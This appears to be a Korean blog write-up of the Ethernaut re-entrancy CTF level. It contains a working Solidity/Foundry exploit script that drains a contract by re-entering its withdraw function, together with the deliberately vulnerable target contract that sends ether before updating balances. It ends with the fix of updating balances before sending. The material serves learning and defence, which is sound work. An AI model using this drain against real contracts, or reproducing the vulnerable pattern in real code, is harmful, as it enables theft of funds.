The goal of this level is for you to steal all the funds from the contract.
Things that might help:
Untrusted contracts can execute code where you least expect it.
Fallback methods
Throw/revert bubbling
Sometimes the best way to attack a contract is with another contract.
See the "?" page above, section "Beyond the console"
TMI : 아무것도 모르고 일단 무작정 아무거나 알아볼 때 처음 본 게 re-entrancy 공격이라 문제 제목 보자마자 반가웠다
그렇다고 제가 이걸 잘 아는건 아니고 그냥 반가웠다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "../src/re-entrancy.sol";
import "forge-std/Script.sol";
import "forge-std/console.sol";
contract AttackReentrant {
Reentrance public reentranceInstance = Reentrance(payable(0xE56c4F47f305c1440d25691985b8bCc81D2864E2));
constructor() public payable {
reentranceInstance.donate{value: 0.001 ether}(address(this));
}
function withdraw() external {
reentranceInstance.withdraw(0.001 ether);
(bool result,) = msg.sender.call{value: 0.002 ether}("");
require(result);
}
receive() external payable {
reentranceInstance.withdraw(0.001 ether);
}
}
contract POC is Script {
function run() external {
vm.startBroadcast(vm.envUint("user_private_key"));
AttackReentrant attackReentrant = new AttackReentrant{value: 0.001 ether}();
attackReentrant.withdraw();
vm.stopBroadcast();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
contract Reentrance {
mapping(address => uint256) public balances;
function donate(address _to) public payable {
balances[_to] += msg.value; // SafeMath 없이 기본 연산 사용
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
balances[msg.sender] -= _amount; // SafeMath 없이 기본 연산 사용
}
}
}
receive() external payable {}
}
send, transfer, call을 호출하기 전에 잔고 정리하자